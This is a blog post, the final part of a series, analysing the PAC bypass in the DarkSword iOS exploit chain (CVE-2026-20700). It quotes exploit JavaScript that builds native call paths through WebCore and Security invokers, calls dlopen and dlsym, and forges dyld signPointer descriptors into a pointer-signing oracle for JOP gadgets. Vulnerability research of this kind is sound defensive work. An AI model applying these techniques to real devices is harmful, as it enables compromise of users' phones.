NashTech Blog

Vulnerability Analysis: Taking a look at the PAC bypass behind the DarkSword exploit chain – Part 3

Table of Contents

This is the last part of CVE-2026-20700 analysis and how it was used in DarkSword’s PAC bypass phase. We have figured out how the exploit manages to leverage the TOCTOU window and pivot from Vector<T> on the saved stack frame to take over symbol interposing and export the signed pointers for dlopen(), dlsym() and signPointer().

This is the last part of the DarkSword’s PAC bypass vulerability analysis series and will pick up where we left off in part 2. We will go over how the exploit sets up the native call stack from the WebKit execution context to turn the recovered signed pointers into a PAC signing oracle.

Using the PAC Signing Oracle

Once dyld have consumed the forged InterposeTupleAll entries, the exploit reads back the function pointers written into the selected ImageIO symbols:

const paciza_invoker = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt);
const paciza_security_invoker_1 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage);
const paciza_security_invoker_2 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage);
const paciza_dlopen = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation);
const paciza_dlsym = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata);
const paciza_signPointer = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddExif);
  • paciza_*: the prefix indicates PAC-signed pointer using the IA key with 0 context

Setting up the native call paths

Although the exploit now have the PAC-valid pointers to signPointer(), It is still living in the JavaScript context and cannot immediately execute a native call. The pointer must first be invoked through an existing native call path that accepts PAC-signed function pointer and allows the exploit control over the arguments registers.

To achieve this, the exploit creates several fake native objects using JavaScript typed array backing storage, much like before:

const gSecurityd = new BigUint64Array(0x100 / 8);
const gSecurityd_data_ptr = gSecurityd.data();
p.write64(offsets.Security__gSecurityd, gSecurityd_data_ptr);

const slowFcallResult = new BigUint64Array(0x10 / 8);
const slowFcallResult_data_ptr = slowFcallResult.data();
slowFcallResult[8 / 8] = slowFcallResult_data_ptr - 0x18n;
p.slowFcallResult = slowFcallResult;

const invoker_x0 = new BigUint64Array(0x58);
const invoker_x0_data_ptr = invoker_x0.data();
const invoker_arg = new BigUint64Array(0x10);
const invoker_arg_data_ptr = invoker_arg.data();
invoker_x0[0x20 / 8] = slowFcallResult_data_ptr;
invoker_arg[0 / 8] = paciza_security_invoker_1;
invoker_arg[8 / 8] = invoker_x0_data_ptr;
  • gSecurityd: A fake replacement for the Security.framework’s global gSecurityd object, obtains the final native target from this controlled allocation
  • invoker_x0: A fake argument object containing the values that the Security invoker eventually loads into native registers
  • invoker_arg: Contains the signed Security invoker pointer to the controlled value passed to it as x0
  • slowFcallResult: An object used to recover the values returned by the native function

After setting up the backing storage, the exploit overwrites 2 globals from WebCore:

rce_worker18.6.js

p.write64(offsets.WebCore__TelephoneNumberDetector_phoneNumbersScanner_value, invoker_arg_data_ptr);
p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, paciza_invoker);

This creates an indirect call path: Trigger WebCore -> paciza_invoker -> paciza_security_invoker_1(invoker_x0) -> target stored in gSecurityd{color="primary"} -> native target(x0, x1, x2, …) -> return value written in slowFcallResult

slow_fcall_1

Once the initial indirect call path is set up, the exploit wraps it in slow_fcall_1():

function slow_fcall_1(pc, x0 = 0n, x1 = 0n, x2 = 0n) {
    invoker_arg[0 / 8] = paciza_security_invoker_1;
    gSecurityd[0x78 / 8] = pc;
    invoker_x0[0x28 / 8] = x0;
    invoker_x0[0x30 / 8] = x1;
    invoker_x0[0x38 / 8] = x2;
    return new Promise(r => {
        slow_fcall_resolve = r;
        self.postMessage({
            type: 'slow_fcall'
        });
    });
}

The controlled values map to the native call registers as pc, x0, x1 and x2. The native call is then executed by postMessage(), which asks the page thread to trigger the prepared WebCore call path.

Once the native call returns, the page sends slow_fcall_done back to the worker:

case 'slow_fcall_done':
    {
        slow_fcall_resolve(p.slowFcallResult[0]);
        break;
    }

The value is returned to JavaScript via slowFcallResult[0] as the resolved value of the Promise.

slow_fcall_2

Similarly, slow_fcall_2 sets up the controlled value as registers passed to the native call, but it supports pc, and x0 – x5:

function slow_fcall_2(pc, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n) {
    invoker_arg[0 / 8] = paciza_security_invoker_2;
    gSecurityd[0xb8 / 8] = pc;
    invoker_x0[0x28 / 8] = x0;
    invoker_x0[0x30 / 8] = x1;
    invoker_x0[0x38 / 8] = x2;
    invoker_x0[0x40 / 8] = x3;
    invoker_x0[0x48 / 8] = x4;
    invoker_x0[0x50 / 8] = x5;
    return new Promise(r => {
        slow_fcall_resolve = r;
        self.postMessage({
            type: 'slow_fcall'
        });
    });
}

The name slow_fcall is due to the fact that this call path have to go through a round trip through the Worker, page thread, WebCore invoker and the Security invoker.

Calling interposed dlopen() and dlsym()

The exploit uses the signed dlopen() and dlsym() addresses via the slow call:

function slow_dlopen(filename, flags) {
    filename = filename + '\0';                                             // string null terminator
    resolve_rope(filename);
    const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n);
    return slow_fcall_1(paciza_dlopen, name_ptr, flags);                    // pc, x0, x1
}
function slow_dlsym(handle, symbol) {
    symbol = symbol + '\0';                                                 // string null terminator
    resolve_rope(symbol);
    const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n);
    return slow_fcall_1(paciza_dlsym, handle, symbol_ptr);                  // pc, x0, x1
}

These two functions are then used to load the native libraries and resolve pthread_create() and malloc() functions:

// https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/dlopen.3.html
// https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/dlsym.3.html
const libsystem_pthread = await slow_dlopen('/usr/lib/system/libsystem_pthread.dylib', 1n);
const signed_pthread_create = await slow_dlsym(libsystem_pthread, 'pthread_create');
offsets.pthread_create = signed_pthread_create.noPAC();

const libsystem_malloc = await slow_dlopen("/usr/lib/system/libsystem_malloc.dylib", 0n);
const paciza_malloc = await slow_dlsym(libsystem_malloc, 'malloc');
offsets.malloc = paciza_malloc.noPAC();

Producing PACIA and PACIB pointers

const signPointer_self = new BigUint64Array(4);
const signPointer_self_addr = p.read64(p.addrof(signPointer_self) + 0x10n);
function slow_pacia(ptr, ctx) {
    signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n;
    return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr);
}
function slow_pacib(ptr, ctx) {
    signPointer_self[0] = 0x80030000_00000000n | ctx >> 48n << 32n;
    return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr);
}

signPointer() is declared in dyld as:

uint64_t            signPointer(void* loc, uint64_t target) const;

This would translate to:

  • x0: signPointer_self_addr (forged ChainedFixupPointerOnDisk::Arm64e::signPointer)
  • x1: ctx (loc)
  • x2: ptr (raw pointer to sign)

The signed pointer is returned in x0 and eventually copied into slowFcallResult[0].
An authenticated arm64e chained fixup pointer contains:

// DYLD_CHAINED_PTR_ARM64E
struct dyld_chained_ptr_arm64e_auth_rebase
{
    uint64_t    target    : 32,   // runtimeOffset
                diversity : 16,
                addrDiv   :  1,
                key       :  2,
                next      : 11,    // 4 or 8-byte stide
                bind      :  1,    // == 0
                auth      :  1;    // == 1
};

// 64 bit layout (https://llvm.org/docs/PointerAuth.html):
|   63  |   62  |   61-51  | 50-49 |   48   | 47     -     32 | 31  -  0 |
| ----- | ----- | -------- | ----- | ------ | --------------- | -------- |
|  auth |  bind |   next   |  key  |  addr  |  discriminator  |  target  |

The exploit does not reconstruct the entire fixup chain, only the fields consumed by signPointer(): auth, key, addrDiv and diversity.
The target is left as 0 because the raw address is passed in separately in x2.

PACIA descriptor

The exploit declares: signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; which translates to:

0x80010000_00000000     ->      auth        =   1, 
                                bind        =   0,
                                next        =   0,
                                key         =   0,
                                addrDiv     =   1,
                                diversity   =   0,
                                target      =   0

Apple’s key enum:

const char* ChainedFixupPointerOnDisk::Arm64e::keyName(uint8_t keyBits)
{
    static const char* const names[] = {
        "IA", "IB", "DA", "DB"
    };
    assert(keyBits < 4);
    return names[keyBits];
}

//  IA = 0, IB = 1      <- Instruction pointer key
//  DA = 2, DB = 3      <- Data pointer key

The resulting fake object is therefore:

struct dyld_chained_ptr_arm64e_auth_rebase {
    .target         = 0,
    .diversity      = (ctx >> 48),
    .addrDiv        = 1,
    .key            = IA,
    .next           = 0,
    .bind           = 0,
    .auth           = 1
};

The exploit uses both instruction pointer keys according to the authentication schema. IA for general indirct authenticated calls and IB for stack-context-dependent calls.

PACIB descriptor

Similarly, the exploit declares: signPointer_self[0] = 0x80030000_00000000n | ctx >> 48n << 32n; The resulting fake object is therefore:

PACIB_descriptor.c

struct dyld_chained_ptr_arm64e_auth_rebase {
    .target         = 0,
    .diversity      = (ctx >> 48),
    .addrDiv        = 1,
    .key            = IB,
    .next           = 0,
    .bind           = 0,
    .auth           = 1
};

The Discriminator

In dyld, a normal fixup comes in 2 forms:
When addrDiv = 0, the discriminator is simply: discriminator = diversity When addrDiv = 1, dyld combines the pointer’s storage location with the 16-bit constant diversity:

uint64_t ChainedFixupPointerOnDisk::Arm64e::signPointer(uint64_t unsignedAddr, void* loc, bool addrDiv, uint16_t diversity, uint8_t key)
{
    // don't sign NULL
    if ( unsignedAddr == 0 )
        return 0;

#if __has_feature(ptrauth_calls)
    uint64_t extendedDiscriminator = diversity;
    if ( addrDiv )
        extendedDiscriminator = __builtin_ptrauth_blend_discriminator(loc, extendedDiscriminator);
    switch ( key ) {
        case 0: // IA
            return (uintptr_t)__builtin_ptrauth_sign_unauthenticated((void*)unsignedAddr, 0, extendedDiscriminator);
        case 1: // IB
            return (uintptr_t)__builtin_ptrauth_sign_unauthenticated((void*)unsignedAddr, 1, extendedDiscriminator);
        case 2: // DA
            return (uintptr_t)__builtin_ptrauth_sign_unauthenticated((void*)unsignedAddr, 2, extendedDiscriminator);
        case 3: // DB
            return (uintptr_t)__builtin_ptrauth_sign_unauthenticated((void*)unsignedAddr, 3, extendedDiscriminator);
    }
    assert(0 && "invalid signing key");
#else
    assert(0 && "arm64e signing only arm64e");
#endif
}


uint64_t ChainedFixupPointerOnDisk::Arm64e::signPointer(void* loc, uint64_t target) const
{
    assert(this->authBind.auth == 1);
    return signPointer(target, loc, authBind.addrDiv, authBind.diversity, authBind.key);
}

The blending is implemented by replacing the upper 16-bit of the location value with the low 16-bit of the diversity value, which ties the signed pointer to that designated slot. Copying the pointer to another slot changes the expected discriminator and causes authentication to fail.

The exploit sets ctx >> 48 << 32:

  • ctx >> 48: extracts ctx bits 63-48 (16-bit)
  • (ctx >> 48) << 32: insert the extracted 16-bit into the descriptor bits from 47-32

The exploit also supplies the full ctx in x1, which is the loc argument. Then dyld computes: discriminator = blend(ctx, ctx >> 48).
On arm64e, blending preserves the lower 48 bits of ctx and replaces the upper 16 bits with the diversity value, therefore:

  • Lower 48 bits = ctx[47:0]
  • Upper 16 bits = ctx[63-48]
  • Resulting in discriminator = ctx

The exploit splits the full 64-bit value across the x1 and the descriptor’s diversity field, then relies on dyld to reconstruct the original ctx via __builtin_ptrauth_blend_discriminator().

Signing pointers

Now that the exploit have control over signPointer’s descriptor and context, it can start signing gadgets:

/// Signs gadgets with 0 context using IA key
const paciza_gadget_loop_1 = await slow_pacia(gadget_loop_1, 0n);
const paciza_gadget_loop_2 = await slow_pacia(gadget_loop_2, 0n);
const paciza_gadget_loop_3 = await slow_pacia(gadget_loop_3, 0n);
const paciza_gadget_control_2 = await slow_pacia(gadget_control_2, 0n);
const paciza_gadget_control_3 = await slow_pacia(gadget_control_3, 0n);
const paciza_gadget_control_3_4 = await slow_pacia(gadget_control_3 + 4n, 0n);

/// Signs gadgets with context using IB key
const paciza_gadget_control_1 = await slow_pacia(gadget_control_1, 0n);
const pacib_gadget_loop_1_0x80020 = await slow_pacib(gadget_loop_1, stack + 0x80020n);
const pacib_gadget_loop_1_0x800c0 = await slow_pacib(gadget_loop_1, stack + 0x800c0n);
const pacib_gadget_loop_2_0x80010 = await slow_pacib(gadget_loop_2, stack + 0x80010n);
const pacib_gadget_loop_2_0x800b0 = await slow_pacib(gadget_loop_2, stack + 0x800b0n);
  • The IA signed pointers are used by an authenticated indirect branch that expects it
  • The IB signed pointers are used for stack-context-dependent part of the JOP chain

This is the PAC signing oracle and DarkSword‘s PAC bypass mechanism. The exploit continues setting up the JOP chain to obtain a native call primitive without having to go through the “slow call” path. But this is where I’ll end this blog post as my goal of understanding the PAC bypass is already achieved.

The DarkSword exploit does not directly attack the Pointer Authentication Code (PAC) mechanism, instead, it cleverly leverages an existing TOCTOU (Time-of-check time-of-use) race condition to recover a stale stack frame, using one of its Vector<T> stack resident to pivot and indirectly influence dyld into bridging a PAC-signed pointer to signPointer() function, effectively providing the exploit a PAC signing oracle for memory it controls.

References

  • https://cloud.google.com/blogs/topics/threat-intelligence/darksword-ios-exploit-chain
  • https://iverify.io/blogs/darksword-ios-exploit-kit-explained
  • https://www.lookout.com/threat-intelligence/article/darksword
  • https://karol-mazurek.medium.com/list/dyld-do-you-like-death-2a6bcc0d8827

Picture of Long Tran Phi

Long Tran Phi

Suggested Article

Scroll to Top